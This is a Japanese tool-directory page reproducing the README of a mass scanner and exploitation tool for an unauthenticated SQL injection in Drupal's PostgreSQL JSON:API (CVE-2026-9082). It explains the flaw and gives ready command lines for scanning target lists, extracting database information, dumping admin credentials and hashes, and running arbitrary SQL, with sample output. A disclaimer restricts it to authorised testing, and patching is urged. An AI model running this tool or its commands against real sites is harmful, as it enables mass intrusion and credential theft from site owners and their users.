Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
drupal-jsonapi-sqli-scanner — スキャナー: CVE-2026-9082 Drupal PostgreSQL JSON:API経由のSQLi — 認証なしSQLiからRCEに至るPythonスキャナー (CISA KEV) | Kitploit
ツール/GitHubGitHub/ridhinva/drupal-jsonapi-sqli-scanner
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用データ流出情報収集ペネトレーションテストレッドチーミングデータベースセキュリティ

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
ridhinva/drupal-jsonapi-sqli-scanner

drupal-jsonapi-sqli-scanner

スキャナー: CVE-2026-9082 Drupal PostgreSQL JSON:API経由のSQLi — 認証なしSQLiからRCEに至るPythonスキャナー (CISA KEV)

リポジトリを見る
2112日前未レビュー

CVE-2026-9082 Critical CISA KEV Affected Versions License

CVE-2026-9082 — Drupal PostgreSQL SQLインジェクション

マススキャナー&エクスプロイテーションツール

Drupal Core における未認証SQLインジェクション(PostgreSQL)
PDOプレースホルダー名の悪用による JSON:API フィルター配列キーインジェクション


概要

CVE-2026-9082 は、Drupal 8.0 から 11.3.9 を実行している PostgreSQL バックエンドのすべてのサイトに影響を与える、Drupal Core の**重大(Highly Critical)**なSQLインジェクション脆弱性です。2026-05-22 に CISA Known Exploited Vulnerabilities(KEV)カタログに追加されました — 実環境で活発に悪用されています。

影響

深刻度CVSS認証の要否攻撃ベクトル
Critical9.8+不要HTTP (JSON:API)
  • データ流出 — データベース、ユーザー、パスワードハッシュの抽出
  • 権限昇格 — 管理者アカウントの作成、コンテンツの改ざん
  • リモートコード実行 — 一部の構成では pg_exec() または COPY ... PROGRAM 経由

影響を受けるバージョン

ステータスバージョン
❌ 脆弱Drupal 8.0.0 → 11.3.9(PostgreSQL バックエンド)
✅ 修正済み11.3.10, 11.2.12, 10.6.9, 10.5.10

動作原理

この欠陥は core/modules/pgsql/src/EntityQuery/Condition.php に存在します。translateCondition() メソッドは、JSON:API のフィルターパラメータから得られるユーザー制御の配列キーを使用して PDO プレースホルダー名を構築します。PDO はプレースホルダー名として [a-zA-Z0-9_] のみを解析するため、) より後の任意のサフィックスはクエリに注入されるリテラルSQLになります。

root@kitploit:~
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection

機能

  • ✅ マススキャナー — 数百のターゲットを同時にスキャン
  • ✅ 単一ターゲットモード — 個別の Drupal サイトをチェック
  • ✅ 時間ベースの検出 — pg_sleep() によるブラインドSQLインジェクションの確認
  • ✅ ブールベースの検出 — 行数の比較
  • ✅ バージョン抽出 — PostgreSQL のバージョンを特定
  • ✅ データベース情報 — 現在のユーザーとデータベース名を抽出
  • ✅ 管理者認証情報のダンプ — ユーザー名、メールアドレス、パスワードハッシュ(uid=1)
  • ✅ テーブル一覧 — すべてのパブリックテーブルを列挙
  • ✅ カスタムSQLクエリ — 任意の抽出クエリを実行
  • ✅ プロキシ対応 — Burp Suite などを経由してルーティング
  • ✅ ファイルへの出力 — マススキャン結果を保存
  • ✅ カラー表示のターミナル出力 — 結果を読みやすく表示

インストール

前提条件

  • Python 3.8+
  • pip(Python パッケージマネージャー)

依存関係のインストール

root@kitploit:~
# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082

# Install requirements
pip install requests

これだけです!依存関係は requests のみです。


使い方

🕵️ 単一ターゲットのチェック

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --check

📡 複数ターゲットのマススキャン

root@kitploit:~
python3 cve_2026_9082_scanner.py -f targets.txt

targets.txt の形式:

root@kitploit:~
https://target1.com
target2.com
192.168.1.100

🔓 PostgreSQL バージョンの抽出

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --version

🗄️ データベース情報の抽出

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo

👤 管理者認証情報のダンプ(uid=1)

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --admin

📋 全テーブルの一覧表示

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --tables

💉 カスタムSQLクエリ

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"

結果をファイルに保存

root@kitploit:~
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt

プロキシの使用(Burp Suite)

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080

タイミングのカスタマイズ

root@kitploit:~
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10

# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60

コマンドリファレンス


出力例

脆弱なターゲット

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║          CVE-2026-9082 - Drupal PostgreSQL SQLi             ║
║       Mass Scanner + Exploitation Tool v1.0.0               ║
╚══════════════════════════════════════════════════════════════╝
  CISA KEV: Added 2026-05-22  |  Advisory: SA-CORE-2026-004

[*] Checking: https://vulnerable-drupal-site.com

[!!] VULNERABLE - https://vulnerable-drupal-site.com
      Method: time-based (+5.2s)
      Resource: node/article

管理者認証情報のダンプ

root@kitploit:~
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...

参考情報


⚠️ 免責事項

このツールは、許可されたセキュリティテスト、教育目的、および倫理的な研究のみを対象としています。

コンピュータシステムへの無許可アクセスは違法です。著者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。


著者

Ridhin V A (@ridhinva) — バグバウンティハンター&セキュリティリサーチャー

CISA KEV が実環境で悪用されていると発表したため作成されました。Drupal サイトにパッチを適用してください。

ツールをダウンロード
フラグ説明
-u, --url単一ターゲットのURL
-f, --fileターゲット一覧のファイル(1行に1つ)
-o, --outputスキャン結果をファイルに保存
--checkターゲットが脆弱かどうかをチェック
--versionPostgreSQL のバージョンを抽出
--dbinfoDBユーザーとデータベース名を抽出
--adminDrupal 管理者の認証情報を抽出(uid=1)
--tablesすべてのデータベーステーブルを一覧表示
--queryカスタムSQL抽出クエリ
--threadsマススキャンのスレッド数(デフォルト: 20)
--timeoutHTTPリクエストのタイムアウト(デフォルト: 30秒)
--delay検出用の pg_sleep 遅延(デフォルト: 5秒)
--no-ssl-verifyTLS証明書の検証をスキップ
--proxyHTTPプロキシ(例: http://127.0.0.1:8080)
情報源リンク
Drupal アドバイザリSA-CORE-2026-004
CISA KEVCVE-2026-9082
パッチコミットea9524d9
NVD エントリCVE-2026-9082
発見者Michael Maturi